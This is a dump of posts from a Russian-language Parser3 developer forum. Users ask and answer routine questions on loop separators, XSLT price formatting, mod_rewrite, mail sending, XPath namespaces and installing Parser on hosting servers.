"70496","Просто затем, что не нужно их столько, это лишние действия. :)\
\
multi_statements - зачем? Без транзакционности все равно не будет гарантии, что все SQL запросы либо выполнятся, либо все останется как есть - вдруг в середине кто reset на сервере нажмет."
"70499","Все подробно документировано:\
http://www.parser.ru/docs/lang/?opconnect.htm"
"70500","Вот, все dbconntect удалил и перенес один в корневой auto.p и через него конектюсь. насколько это надежно? Все работает как и раньше..."
"70501","[code]^for[potato](1;3){\
^if($potato == 1){$price(50)}\
^if($potato == 2){$price(40)}\
^if($potato == 3){$price(30)}\
<IMG SRC=\"/pics/potato${res}.jpg\"><input name=\"potato$potato\"> Цена:$price\
}[/code]\
\
Вопрос: можно ли упростить конструкуию? Объединить как-то в одно все?\
Можно конечно еще использовать БД и через menu, но это если много условий, а из-за 3-5 условий создавать таблицу нет смысла.\
p.s. одолеваю парсер"
"70504","[b]Сейчас <price>12345</price> из XML обрабатывается так:[/b]\
\
[code]\
<xsl:template match=\"info\"> \
	<p>Цена: <xsl:apply-templates select=\"price\" /> руб.</p>\
</xsl:template>\
[/code]\
\
\
[b]Как переделать этот пример чтобы XSL грамотно парсил XML?[/b]\
\
[code]\
^formatNumber[9988889879834;&nbsp^;]\
\
@formatNumber[number;separator]\
$result[^number.match[(\\d)(?=(\\d{3})+^$)][g]{${match.1}$separator}]\
[/code]\
\
\
[b]Такой вариант не работает ([/b]\
\
[code]\
<xsl:template match=\"info\"> \
	<p>Цена: ^formatNumber[<xsl:apply-templates select=\"price\" />;&nbsp^;] руб.</p>\
</xsl:template>\
[/code]"
"70505","а как правильно прописать, чтобы реализация услуги напоминания работала?"
"70506","и выдаете его пользователю.\
\
или просто сбрасываете на случайный пароль и его высылаете пользователю.\
\
третьего не дано :)"
"70507","[code]<xsl:decimal-format name=\"price\" decimal-separator=\",\" digit=\"#\" zero-digit=\"0\" grouping-separator=\"&nbsp;\" />\
\
…\
\
<xsl:value-of select=\"format-number($price, '0,##', 'price')\" />[/code]"
"70508","[b]Спасибо, но заработало только так :)[/b]\
\
[code]<xsl:decimal-format name=\"price\" decimal-separator='.' grouping-separator=','/>[/code]\
...\
[code]<p>Цена: <xsl:value-of select=\"format-number(price, '###,###', 'price')\"/> руб.</p>[/code]\
\
Взял [url=\"http://msdn.microsoft.com/en-us/library/ms256229(VS.85).aspx\"]отсюда[/url]."
"70509","я взял готовый код из проекта, он рабочий.\
\
Единственно подозрение на &nbsp;, если сущность не указана — будет ошибка.\
Лучше указать на файл описаний стандартных сущностей, или заменить &nbsp; пробелом.\
\
[quote]decimal-separator='.' grouping-separator=','[/quote]\
\
Это неверный формат.\
В России принято отделение дробной части запятой, а групп разрядов — пробелом.\
\
[quote]'###,###'[/quote]\
\
Правильно указывать значащие разряды, в случае валют — до сотых.\
\
В итоге, можно попробовать такую форматную строку: '#&nbsp;##0,00' или '# ##0,00', если отказаться от &nbsp;.\
Более того, полезно внести «руб.» в описание формата, а не добавлять отдельно."
"70510","[b]Получилось сделать разделение пробелом.[/b]\
\
[code]<xsl:decimal-format name=\"price\" decimal-separator=\",\" digit=\"#\" zero-digit=\"0\" grouping-separator=\" \" />[/code]\
\
[code]<xsl:value-of select=\"format-number(price, '### ###', 'price')\"/>[/code]"
"70511","Потребовалось передать проект на другой хостинг, но сайт оказался капризными, с современными версиями парсера он не дружит, а править коды времени, увы, нет. \
\
Методом url-шаманства обнаружил такую вот версию:\
http://www.parser.ru/f/1/download/redhat/parser3_3_0_redhat73_cgi_xml.tar.gz\
почти уверен, что должна подойти.\
\
Осталось найти драйверы для MySql и конфигурационный файл, подскажите, пожалуйста, где можно взять?\
\
Или те, что доступны для скачивания сейчас (http://www.parser.ru/download/redhat/) тоже подойдут?\
\
\
Хостинг такой:\
- Linux 2.6.20-1.2320.fc5 \
- mysql  Ver 14.12 Distrib 5.0.45"
"70512","я для этой версии ищу полный комплект:\
http://www.parser.ru/f/1/download/redhat/parser3_1_3_redhat73_cgi_xml.tar.gz"
"70513","конфигурационный файл вам не нужен, оставьте ваш.\
\
драйвер, выложенный в разделе \"скачать\" не подойдёт, но если найденный вами парсер запустится на вашем хостинге -- отпишитесь, драйвер найдём."
"70514","Мне видится нелогичным, что разделитель выводится (или вычисляется, если он в фигурных скобках) при использовании оператора continue. \
\"Грубый\" пример:\
[code]^table.menu{\
     ^if(1 == 1){\
          ^continue[]\
     }\
     $table.field\
}[,][/code]\
Выводятся лишь запятые, а хотелось бы \"пусто\". Разделитель неудобно переносить в тело menu. Найдутся согласные со мной? Стоит ждать доработки языка?"
"70515","Как я понял, тут проблема в непустом теле menu. Т.е. если форматировать код иначе, то разделители не выведутся:\
[code]^table.menu{^if(1 == 1){^continue[]}\
	$table.field\
}[,][/code]\
\
Не очень красиво, хотелось бы, чтобы continue \"обнулял\" тело, но пока жить можно:-)"
"70516","опишите задачу для решения которой вы используете данный код, есть подозрение, что вы делаете что-то не так."
"70517","Эм. Про смысл continue в доке написано. Да и я описал дословно, разве что пример \"не живой\". Что именно делаю не так?"
"70519","Обычный отбор по условию. locate в новую таблицу не всегда подходит.\
Это касается не только таблиц, а любых циклов."
"70520","давайте все-таки посмотрим на задачу?\
\
например, лично мне никогда такое не требовалось.\
\
разделитель в описанном вами примере работает логично - после каждой итерации печатаем разделитель.\
\
непонятна ваша логика и задача"
"70521","Моё мнение, что continue -- пропущенная итерация => пустое тело => разделитель не выводится. Только вот пустое тело приходится формировать в коде руками.\
Задача здесь не причём."
"70524","^continue[] = это продолжение выполнения цикла, это очевидно.\
\
В вашем случае, логично самому выводить свой разделитель именно так, как вам нужно, если такая задача у вас есть. Возможно, есть какое-то более изящное решение, но мы не знаем вашей задачи. Возможно, вычисляемый разделитель будет удобнее.\
\
Вы думаете, что раз в вашем цикле вы полняете только пару команд(if/continue), то итерация типа \"не настоящяя\".\
однако, это далеко не так. Раз выполнение кода в блоке началось, значит итерация состоялась.\
\
В других языках continue означает тоже самое, то что там нет разделителя, ситуации не меняет.\
\
Даже наличие break не отменяет факта итерации."
"70525","continue может быть в середине тела. Собственно, он для того и придуман, что бы всё тело не оборачивать в большие if'ы (если несколько условий) или в несколько вложенных if'оф. В любой момент можно прервать итерацию.\
А разделитель сам по себе удобен тем, что не нужно делать проверок на первую/последнюю строку (случай с таблицей) в теле.\
Вот такой вот простой наглядности хочется. Увы, с парсерной идеологией \"код внутри текста (тела вывода)\" это не вяжется."
"70526","Прочитайте внимательно в доке, в каких случаях отрабатывает разделитель. Не только сам факт начала итерации влияет на его вывод."
"70527","[code]\
^while(...){\
	if(..){	\
		$sDelimiter[,]\
	}{\
		$sDelimiter[]\
	}\
}\
}{$sDelimiter}\
[/code]\
\
чем это плохо?"
"70528","Ну да, формально там написано  \"выполняется перед каждым непустым не первым телом\", а реально при второй и предпоследней итерации.\
\
Это уже пусть разработчики языка внесут ясность в нашу дискуссию."
"70529","Не формально, а как раз реально.\
Я привёл рабочий пример своего же кода в самом начале.\
\
Ваш пример (ниже по треду) не оптимален. Вычислимая запятая -- слишком дорого, хоть и спички:-)\
Тогда уж проще всего:\
[code]^while(...){^if(..){\
	code\
}[$sDelimiter][/code]\
Ну, это при условии, что проверку можно сделать в самом начале.\
\
P.S. Меня интересовал лишь один технический момент, возможно, Misha или Moko потом ответят."
"70530","[code]$i(0)\
^while($i<10){^i.inc[]^if(1==1){^continue[]  ololo }}[,][/code]\
\
Т.е. если тело содержит что-то, включая пробелы - то разделитель пропускается, иначе - ставиться."
"70532","всё работает как и задумано.\
если вы формируете списки, то по моему очевидно, что вы сами должны позаботиться о том, чтобы туда не попадали пробельные символы, если они вам мешают.\
\
ситуация, когда добавляется разделитель, один из тх случаев, когда пробельные символы мешают.\
\
в любом случае, если есть какое-либо предложение по изменению функционала, чтобы упростить подобные ситуации и не ломать текущую обратную совместимость -- в студию их :)"
"70533","Часто приходится формировать списки для запроса в БД. В таких случаях мне важнее читаемость кода, в ущерб объёма передаваемых данных (лишних пробельных символов).\
Единственное, что могу предложить -- необязательный параметр операторам break и continue, с которым они не будут выводить тело текущей (прерванной) итерации и, соответственно, разделитель."
"70534","А собрать самому?"
"70535","Необходимый минимум включает в себя:\
—знание парсера. :)\
—знание HTML, CSS, JavaScript и SQL;\
—представление об XML и XSLT.\
\
Примеры кода (от 30kb, законченность значения не имеет)\
и ссылки на свои работы (сайты) посылать на moko@design.ru."
"70536","Скачанная версия на линукс поставилась, но, как и было вами сказано, версия драйвера для mysql не подходит:\
\
[code]./lib/libparser3mysql.so\
\
driver implements API version 0x000A not equal to 0x0008[/code]\
\
Коллеги, выручайте!"
"70537","есть такая штука, называется web.archive.org:\
http://web.archive.org/web/20040621164616/www.parser.ru/download/redhat/\
\
P.S. все выкладываемые нами файлы лежат там-же, т.е. в найденном через web archive можно подсмотреть ссылки для скачивания."
"70539","Здравствуйте\
В процесе написания чпу возникли трудности. До этого все параметры передавались в таком виде ...page.html?item=1&url=qwerty удалось с помощью мод-реврайт преобразовать к такому виду .../1/qwerty / \
\
Но в этом проблема... часть с цыфрой это передача обязательного параметра в запросе item. Без него никак... В .htaccess:\
\
RewriteEngine On\
RewriteBase /\
RewriteRule	^(.*)/(.*)/$	page.html?item=$1&url=$2\
RewriteRule	^news/(.*)/(.*)\\.html$	news.html?newsItem=$1&url=$2\
RewriteRule 	^([A-Za-z0-9-]+)/?$	$1.html\
\
Хотелось бы получать урл .../qwerty/ вида из ...page.html?item=1&url=qwerty Подскажите пожалуйста как этого добиться? Пректрасно понимаю что это не проблема парсера а проблема модреврайта, но все, помогите пожаулйста советом.\
\
Спасибо за ваши ответы :)"
"70540","Возможно вам стоит изучить опыт предшественников (друпал, вордпресс, и т.д.)?\
\
Сделать один файл, который обрабатывает запросы и загружает соответствующие модули. \
\
google: \"url routing\".\
\
Необдуманное использование знака \".\" в регулярных выражениях черевато.\
\
([^\\/]+)/([^\\/]+) - так более правильно описать некую строку, которая состоих из двух подстрок разделенных символом \"/\" и при это экранирование этого символа не предусмотрено."
"70541","Подскажите, можно ли сделать партнерскую программу для сайта на Parser?\
На сколько понимаю, параметр партнера передается между страницами в URL. Можно как-нибудь отслеживать параметр, если сайт сделан на Parser?"
"70544","Меняю хостинг. На новом хостинге судя по всему стоит CENTOS, поставил бинарники для редхата http://www.parser.ru/download/redhat/, у последней версии возникли какие-то проблемы с UTF-8, поэтому использую parser3_2_3_redhat73_cgi_xml.\
\
Проблема с отправкой почты - если отправлять с FROM:любое_слово ('тест', 'no', '2' и т.д.) то все ок и письмо приходит от слово@Имя_сервера_провайдера.\
Если в FROM подставлять нормальный емайл - исключение \
'/usr/sbin/sendmail' reported problem: UNKNOWN (1) send \
\
Из пхп все прекрасно работает, спросил у хостера, в ответ\
\
\
I believe this is some thing related with parser configuration \
I can see only this error in mail log \
\
2009-08-02 02:39:50 1MXUjW-0008K2-8H <= error@vteacher.net U=my_login P=local S=1254 T=\"Error on vteacher.net\" \
2009-08-02 02:39:50 1MXUjW-0008K2-8H => blackhole (non-SMTP ACL discarded recipients): \"PHISHING attempt trying to send email as error@vteacher.net\" \
2009-08-02 02:39:50 1MXUjW-0008K2-8H Completed \
\
You should check with a developer to fix this. \
\
Может кто что подскажет? что сделать, что сказать саппорту?"
"70546","Код обычный не думал, что он нужен, так как проблема похоже явно в конфигурации...\
[code]\
	$email[error@vteacher.net]\
	$SendEmailTo[error2@vteacher.net]\
 	$message[$email -> $SendEmailTo : test message]\
	$FeedbackSubject[$message]\
	^mail:send[ $.from[$email] $.to[$SendEmailTo]          $.text[$message] $.charset[$response:charset]	$.subject[$FeedbackSubject]]\
[/code]"
"70547","[code]\
^mail:send[ \
  $.from[<$email>] \
  $.to[<$SendEmailTo>]\
  $.text[$message]\
  $.charset[$response:charset]	\
  $.subject[$FeedbackSubject]\
]\
[/code]"
"70553","Хостер говорит, \
\
I have checked and there does not seem to be any issue at server side, I have sent an email from shell to myself and that delivered fine. \
\
I think there is some issue with the script, may be you need to define some ACLs.\
\
\
Что это за ACL такие и как их настраивать?"
"70554","... отправить из консоли письмо с теми from и to, которые пытаетесь использовать именно Вы - думаю проблема сразу станет очевидна (тем более, что в сообщении об ошибке все четко написано - судя по всему сервер не дает отправлять письма через консольный MTA, отправитель которых, относится к чужому домену)."
"70556","Вобщем есть 5 переменных из нужно выбрать наименьшую, все переменные числа.\
Как я делаю, создаю на основе этих переменных таблицу, сортирую, и через for выбираю перрвое значение - это работает, но может есть способ проще?"
"70557","... на ней отсеивается куча народа. :) \
\
Алгоритм писать не буду, но делается это буквально в несколько строчек простейшим перебором (без создания таблицы и уж точно без сортировки)."
"70558","Скорее - для олимпиады по информатике в девятом классе.\
\
Разве для собеседований не нужно что-то приближенное к реальности..?\
Например, та же задача, только исходные данные пользователь вводит через форму :-)"
"70560","собственно вот код , которым я быбирал минимальное значение\
[code]$Minimum[^table::create{num\
$form:num1.inc(10)\
$form:num2.inc(50)\
$form:num3.inc(30)\
$form:num4.inc(15)\
$form:num5.inc(35)\
}] \
^Minimum.sort($Minimum.num)\
^for[count](1;1){$count $Minimum.num\
}\
[/code]"
"70561","[code]\
 $min($form:num1) \
 ^for[i](2;5){\
   ^if($form:[num$i] < $min){\
     $min($form:[num$i])\
   }\
 }\
[/code]\
\
p.s. http://www.books.ru/shop/books/12932"
"70562","... подойдут любые простые задачи, которые выявляют понимание алгоритмов. :)"
"70563","Ставлю вотермарку на рисунок, а перед рисунком появлятся какой-то нолик. Откуда он берется?\
\
[code]\
...\
^use[NConvert.p]\
$oImg[^NConvert::create[\
  $.sScriptPath[/../cgi-bin]\
  $.sScriptName[nconvert]\
]]\
...\
$rand(^math:random(1000))\
$sFileSrc[/pic/catalog/${foto.id}.jpg]\
$sFileDest[/pic/temp/${rand}.jpg]\
$sWMFile[/pic/watermark.png]\
$hParams[\
	$.iX(10)\
	$.iY(10)\
	$.sFormat[jpg]\
	$.iQuality[100]\
	]\
^oImg.watermark[$sFileSrc;$sFileDest;$sWMFile;$hParams]\
<img src=/pic/temp/${rand}.jpg hspace=5 align=center>\
\
[/code]\
\
Например тут http://agra-gold.ru/catalog.html?id=483 или тут http://realty05.ru/view.html?id=2809"
"70564","... то можно увидеть, что метод возвращает результат работы консольного скрипта, который и выводится в код. Использовать это можно примерно так:\
[code]\
  ^if(^oImg.watermark[$sFileSrc;$sFileDest;$sWMFile;$hParams] == 0){\
    <img src=/pic/temp/${rand}.jpg hspace=5 align=center>\
  }\
[/code]"
"70566","Доброго дня.\
Подскажите как же достать элемент <coordinates> из <Response>, где <Placemark id=\"p1\"> ?\
[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\
<kml xmlns=\"http://earth.google.com/kml/2.0\"><Response>\
  <name>Домодедово</name>\
  <Status>\
    <code>200</code>\
    <request>geocode</request>\
  </Status>\
  <Placemark id=\"p1\">\
\
    <address>Россия, город Москва, город Домодедово</address>\
    <AddressDetails Accuracy=\"4\" xmlns=\"urn:oasis:names:tc:ciq:xsdschema:xAL:2.0\">\
<Country>\
<CountryNameCode>RU</CountryNameCode>\
<CountryName>Россия</CountryName>\
<AdministrativeArea>\
<AdministrativeAreaName>город Москва</AdministrativeAreaName>\
<SubAdministrativeArea><SubAdministrativeAreaName>городской округ город Домодедово</SubAdministrativeAreaName>\
<Locality>\
<LocalityName>город Домодедово</LocalityName>\
</Locality>\
</SubAdministrativeArea>\
</AdministrativeArea>\
</Country>\
</AddressDetails>\
    <ExtendedData>\
      <LatLonBox north=\"55.5565139\" south=\"55.3540463\" east=\"38.0139087\" west=\"37.5016711\" />\
    </ExtendedData>\
    <Point>\
<coordinates>37.7577899,55.4554100,0</coordinates>\
</Point>\
\
  </Placemark>\
  </Response>\
</kml>\
[/code]\
\
\
^xdoc.selectString[/kml/Response/[Placemark/id=\"p1\"]/coordinates]\
возвращает ошибку Invalid expression\
\
$node[^xdoc.selectSingle[/kml/Response/Placemark[id='p1']]] \
^node.selectString[string(coordinates)]\
возвращает ошибку string method not found\
\
спасибо"
"70567","в первом случае вы написали вообще что-то странное, а во втором забыли про три вещи:\
1. coordinates у нас ещё и внутри Point\
2. @ надо написать перед 'id'\
3. у корневой ноды задан namespace, соотв. вам необходимо его добавить в search-namespaces (см. доку) и использовать в xpath"
"70568","Да, так и было. Пришел senior admin и навел порядок:) если кому интересно проблема была вот в этом\
\
For the email sending problem, from reading the ticket I can see it was caused by our additional ACL setup on the server to reduce the amount of spam by not allowing any emails from domains that do not actually exist on this server. And its current implementation do not handle the domains using outside MX records. \
For now I have disabled that specific ACL, we will be looking into its implementation and will get it updated so that it accommodates domains not using our MX records and then we will re-implement it. \
\
А у меня почта вся на гугле и MX записи ведут туда.."
"70570","и зачем там for?\
\
P.S.: сори, нажал \"ответить\" вместо \"изменить\" )"
"70571","Если не брать в расчет затраты на создание таблицы, то средняя сложность алгоритма \"быстрой сортировки\" - O(n log n) (в худшем случае O(n^2)), а прямой перебор O(n)."
"70572","Ооо! Мультифон и VCC - ваши? Как тесен мир :)\
\
Ваш покорный скоро будет юзабилити-тестировать Мультифон, кстати :)"
"70574","[code]@main[]\
	$doc[^xdoc::create{<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\
<kml xmlns=\"http://earth.google.com/kml/2.0\"><Response>\
  <name>Домодедово</name>\
  <Status>\
    <code>200</code>\
    <request>geocode</request>\
  </Status>\
  <Placemark id=\"p1\">\
\
    <address>Россия, город Москва, город Домодедово</address>\
    <AddressDetails Accuracy=\"4\" xmlns=\"urn:oasis:names:tc:ciq:xsdschema:xAL:2.0\">\
<Country>\
<CountryNameCode>RU</CountryNameCode>\
<CountryName>Россия</CountryName>\
<AdministrativeArea>\
<AdministrativeAreaName>город Москва</AdministrativeAreaName>\
<SubAdministrativeArea><SubAdministrativeAreaName>городской округ город Домодедово</SubAdministrativeAreaName>\
<Locality>\
<LocalityName>город Домодедово</LocalityName>\
</Locality>\
</SubAdministrativeArea>\
</AdministrativeArea>\
</Country>\
</AddressDetails>\
    <ExtendedData>\
      <LatLonBox north=\"55.5565139\" south=\"55.3540463\" east=\"38.0139087\" west=\"37.5016711\" />\
    </ExtendedData>\
    <Point>\
<coordinates>37.7577899,55.4554100,0</coordinates>\
</Point>\
\
  </Placemark>\
  </Response>\
</kml>}]\
\
	^doc.search-namespaces.add[ \
	   $.default[http://earth.google.com/kml/2.0] \
	]\
	$result[\"^doc.selectString[string(/default:kml/default:Response/default:Placemark[@id=\"p1\"]/default:Point/default:coordinates/text())]\"][/code]\
\
Читайте документацию внимательно,\
на этом форуме предпочитают давать голодному не рыбу, а удочку для её ловли :)\
\
Вопрос к Разработчикам, правильно я понял, что такой способ естественный для использования пространства имён по-умолчанию (хочется избавиться от префиксов в запросе)?"
"70575","В конкретно vcc и мой личный вклад тоже.\
\
Вы уж построже к нам! Чтоб никто не сказал, что Sanja по знакомству спуск разным PAFам дает :)"
"70577","Каким образом можно вставить в поле textarea текст с форматированием? \
Интересует только перенос строки <br />.\
\
[code]<textarea>^untaint[as-is]{$text}</textarea>[/code] не помогает."
"70579","[code]\
$str[^string:sql{SELECT text FROM fotos WHERE id = '$form:id'}]\
<textarea name=text cols=35 rows=8>\
^taint[as-is][$str]\
^taint[html][$str]\
^untaint[as-is]{$str}\
^untaint[html]{$str}\
</textarea>\
[/code]\
\
Специально вывел в таком виде, и все выводят без форматирования."
"70580","Так textarea всеравно не скушает html-форматирование, так что untaint тут не при чем.\
\
[code]\
$str[^string:sql{SELECT text FROM fotos WHERE id = '$form:id'}]\
<textarea name=text cols=35 rows=8>\
^str.match[<br />][g]{^#0A}\
</textarea>\
[/code]\
\
или то же самое replace'ом"
"70582","Если позволяют финансы, можно выделить отдельный сервер MSSQL под веб, и на этом же сервере поднять виндовый Apache с PHP, который будет цепляться к базе по ODBC. И использовать этот Апач как промежуточное звено между фронтовым веб-сервером и MSSQL."
"70584","год уж прошёл :)\
\
ключевая фраза \"Если позволяют финансы\"\
\
столкнулся с компанией: 150 юзеров сидят на дебиане, офис - ОО, почта - тундра, расчетные программы/базы/бухи - реализованы на пхп (Фря+Апач). \
если бы был драйвер для Фаирберда - все быб крутилось на парсере...."
"70585","explicit result declaration -- в данном случае ваш друг, который сам удалит все пробельные символы, использующиеся для форматирования кода, из кода метода и они не будут мешать формированию separator-а.\
\
[code]\
@main[]\
^z[^table::create{field\
1\
2\
3\
4\
5}]\
\
\
@z[table][result]\
^table.menu{\
	^if(^table.line[]>2){\
		^continue[]\
	}\
	$table.field\
}[,]\
[/code]\
\
P.S. даже явно написанная запятая в данном случае не мешается :)"
"70586","Задумал организовать авторизацию на сайте,\
с помощью Класс авторизации из примеров с сайта.\
скачал фаил с классом, там написано:[quote]Для того, чтобы понять что такое $oSql необходимо ознакомиться со статьей о переноcимости SQL запросов, скачать и подключить в auto.p один из упомянутых в ней sql-классов.[/quote]\
скачал подключил но выдают ошибку:\
[code]$sConnectString must be specified.\
\
Z:/home/transrusles/www/Sql/Sql.p(30:10)\
throw	Z:/home/transrusles/www/Sql/Sql.p(30:10)\
if	Z:/home/transrusles/www/Sql/Sql.p(29:2)\
create	Z:/home/transrusles/www/Sql/MySql.p(30:7)\
create	Z:/home/transrusles/www/auto.p(7:15)\
use	Z:/home/transrusles/www/auto.p(7:2)[/code]"
"70587","... думаю пока будуте писать сами поймете, что не так."
"70588","Я не пойму где прописывать параметры подключения к сервtру в этом классе...\
подключаю:[code]@auto[]\
^use[/Sql/MySql.p]\
$oSql[^MySql::create[$SQL.connect-string;\
	$.sCacheDir[/../data/sql_cache]\
\
]][/code]"
"70589","... судя по сообщению переменная $SQL.connect-string у Вас не определана в конфигурационном файле. Но это и не нужно - можно строку соединения написать прямо в конструкторе."
"70590","Использую следующие:\
\
[code]<table width=\"600\" border=\"0\">\
<tr>\
<td><b style='color: green'>Бла-бла-бла</b></td>\
<td><pre>^taint[as-is][$db.text]</pre></td>\
</tr>\
</table>[/code]\
\
$db.text - пришло из БД, таким образом:\
\
[code]^connect[$connect_db]{\
	$db[^table::sql{SELECT * FROM `potato`}]}\
}[/code]\
\
Значит у меня выводиться текст из БД (вводился он туда через форму без преобразований), но ломает конструкцию таблицы, т.е. строка в 5000 символом пишется в одну строку и не переносится, подскажите в чем я ошибся?"
"70591","http://pyramidin.narod.ru/html401/text.html#h-9.3.4"
"70592","По поводу тега pre текст вроде переноситься через стиль, но таблица все рабоно ломается..."
"70593","http://www.parser.ru/forum/?id=70580"
"70595","Конкретно чтобы с текстом не было никаких преобразований, кроме как перевод строки заменялся на <br>"
"70596","все разобрался\
^str.match[<br />][g]{^#0A} - вывод\
^str.match[^#0Ag][g]{<br />} - ввод"
"70598","теперь выводиться и вводиться как все должно быть и как хотелось, благодарен Вам за помощь\
intain - тут вообще не нужен был)"
"70599","Уже долгий период времени мучаюсь с попытками установить на хостинге, которым пользуюсь Parser &mdash; но безуспешно. Пришел к выводу, что необходима сборка под FreeBSD 6.3 amd64. Если у\
Б кого-то есть возможность скомпилировать буду весьма блогодарен или хотя бы совет по поводу при каких условиях это можно осуществить.\
\
В самом начале написано, что пользоваться Parser-ом всего лишь чуть болле сложнее чем HTML. В итоге что бы им воспользоваться надо знать чуть более чем язык программирования C/C++, FreeBSD и все возможности настройки компилятора.\
Всем критикующим сообщая все ветки форума и документацию на сайте я прочел.\
\
Буду благодарен за конструктивную критику."
"70600","Если сервер настроен на поддержку 32-битных програм (как правило так и есть поскольку большое количество программного обеспечения попросту несовместимо с 64-битными системами и должны работать в режиме совместимости), то проблем с использованием 32-битной версией Парсера быть не должно. \
\
Проблема может быть с sql-драйверами. В Парсере драйвер для sql-серверов состоит из двух частей - собственно самого драйвера Парсера (например, libparser3mysql.so), который реализует внутренний API и библиотеки для доступа к конкретной СУБД (для MySQL это libmysqlclient.so). Причем оба драйвера должны быть 32-битными, что и вызывает затруднения, поскольку на хостингах, как правило, собирают только 64-битные библиотеки. \
\
Собственно решается все крайне просто (привожу порядок действия для MySQL):\
1. Устанавливаем Парсер как указано в документации.\
2. Скачиваем с сайта производителя СУБД [url=http://dev.mysql.com/downloads/mysql/5.1.html#freebsd]бинарную сборку под FreeBSD (x86_64)[/url].\
3. Копируем файл lib/libmysqlclient.so.16 на сервер (можно прямо в туже папку, где лежит libparser3mysql.so).\
4. Правим конфигурационный auto.p:\
[code]\
$SQL[\
$.drivers[^table::create{protocol   driver   client\
mysql   /full/disk/path/libparser3mysql.so   /full/disk/path/libmysqlclient.so.16\
}]] \
[/code]\
Вместо \"/full/disk/path/\" пишем полный путь от корня к нашим файлам.\
\
p.s. Под Линукс установка делается похожим образом.\
p.p.s. Начиная с версии 3.4.0 Парсер будет собираться и работать на 64-битных системах. :)"
"70601","Большое спасибо за ответ.\
\
Но, правда я заказываю хостинг, на котором не могу совершить указаныне вами манипуляции. Однако даже исходя из вашего дальнейшего изложения, а хотя бы «поскриптума», я скачал:\
http://www.parser.ru/f/1/download/beta/p340b1_freebsd6_cgi_xml.tar.gz\
И она то ведь должна «идти».\
\
Но в логе сервера все равно старая добрая:\
failed to open log filefopen: Permission denied[Sun Aug  9 14:52:47 2009] [error] [client *.*.157.210] Premature end of script headers: /sata1/home/users/*/www/*.*.com/cgi-bin/parser3.cgifailed to open log filefopen: Permission denied[Sun Aug  9 14:52:47 2009] [error] [client *.*.157.210] Premature end of script headers: /sata1/home/users/*/www/*.*.com/cgi-bin/parser3.cgi\
\
PHP показывает информацию о сервере, как:\
FreeBSD *.*.com.ua 6.3-RELEASE-p3 FreeBSD 6.3-RELEASE-p3 #5: Tue Sep 2 22:58:51 EEST 2008 root@*.*.com.ua:/usr/obj/usr/src/sys/AMD6x amd64\
\
CGI - вкл., 755 - вкл."
"70602","[quote]Но, правда я заказываю хостинг, на котором не могу совершить указаныне вами манипуляции.[/quote]\
Указанные манипуляции можно совершить на любом хостинге.\
\
p.s. Лучше возьмите релиз 3.3.0, а не экспериментируйте на бете."
"70603","... попробовать поставить [url=http://www.parser.ru/f/1/download/freebsd6/parser3_3_0_freebsd63R_grpunlim_cgi_xml.tar.gz]grpunlim-версию[/url] Парсера. Это на тот случай, если у хостера как-то \"хитро\" (криво) настроен suexec или какой-нибудь \"пропатченый\" Апач."
"70604","На папку cgi-bin — 755.\
Закачивал в режиме — «двоичном».\
Вы наверн оимеете в виду виртуальный хостинг. Я имею только доступ по ФТП к корневым директориям + панель администрирования + все «набамбасы» в виде РНР, Перл, СИКЮЛ... + использование CGI."
"70606","[quote]Уже долгий период времени мучаюсь с попытками установить на хостинге, которым пользуюсь Parser &mdash; но безуспешно.[/quote]\
\
где ваше подробное описание: что именно вы делали?\
\
\
[quote]Пришел к выводу, что необходима сборка под FreeBSD 6.3 amd64.[/quote]\
\
т.е. вы выяснили у хостера, что библиотек поддержки 32-битных приложений нет?\
\
\
[quote]В самом начале написано, что пользоваться Parser-ом всего лишь чуть болле сложнее чем HTML. В итоге что бы им воспользоваться надо знать чуть более чем язык программирования C/C++, FreeBSD и все возможности настройки компилятора.[/quote]\
\
пользоваться и установить -- две большие разницы.\
попробуйте на ту-же windows установить и настроить каку-нить программу, если у вас нет прав администратора или вы не представляете как её настраивать.\
\
или предложите пользователю того-же php установить его %-)\
\
\
[quote]Всем критикующим сообщая все ветки форума и документацию на сайте я прочел.[/quote]\
\
круто, а что насчёт FAQ?\
если и его прочитали, то что-же тогда не сообщили подробно, что именно вы делали?"
"70607","Благодарен за ответ.\
\
Самый первый раз!\
Посмотрел phpinfo() там была система: FreeBSD 6.3 amd64.\
Скачал: http://www.parser.ru/f/1/download/freebsd6/parser3_3_0_freebsd63R_cgi.tar.gz и\
http://www.parser.ru/f/1/download/freebsd/parser3conf_1_1_20070628_unix.tar.gz\
распаковал все. Создал в корне сайтa cgi-bin с правами 755. parser3.cgi залил в двоичном режиме и назначил права доступа 755,\
другие файлы в Авто режиме залил. В .htaccess внес:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
Потом файл parser3.cgi перезаливал всякими разными версиями.\
\
[quote]пользоваться и установить -- две большие разницы.[/quote]\
С этим согласен. Просто про установку php информации много, а parser большая редкость.\
\
Про 32-битную поддержку не узнавал (я сделал скорополительный вывод из того, что все другие сборки не работали)."
"70608","Молчат. Ответят, наверно, в духе, как на рание вопросы: «У нас сервер настроен в соответствии со стандартной документацией Apache (RFC,или какая-там аббривиатура)»"
"70609","В этом скорее всего первая проблема. Хостер какую папку для cgi-скриптов определил?\
\
p.s. Если Вы хостеру платите деньги, то стоит потребовать от него исполнения своих обязанностей или... сменить к чертовой матери хостинг.\
p.p.s. Вы бы хостера все-таки назвали - страна должна знать своих \"героев\"."
"70610","про \"создание cgi-bin\" вам Олег уже написал, скорее всего проблема в этом. cgi-bin -- это не каталог, состоящий из букв \"cgi-bin\". это может быть каталог с любым именем, главное, чтобы в настройках апача (или его виртуального хоста) ему было назначено, что он является специальным \"cgi-bin\" каталогом, файлы в котором нужно выполнять, а не просто \"отдавать\".\
вы можете попробовать написать простенький скрипт на perl/sh (или взять готовый printenv.pl), положить его в ваш \"cgi-bin\", установить необходимые аттрибуты и попробовать обратиться к нему из браузера.\
\
ещё в вашем описании я не заметил, как и в чём вы проверяли работоспособность парсера.\
\
после того, как вы залили исполняемый файл в режиме binary, вы как-нить проверяли закачанное? (самый простой способ -- сравнить размеры файлов: локального и закачанного)"
"70611","Решил овладеть Parser'ом как можно более глубоко, освоил львиную долю, но по ходу \"пьесы\" возник ряд вопросов, разрешить которые не могу.\
Все их занес в txt-шник и если не затруднит знающих  людей пояснить где грабли.\
\
Все действия производятся на версии Parser 3.3.0 для win nt 386 (готовый компил скачан с сайта и подложен вместе с dll-ками\
в apache_swissknife) \
\
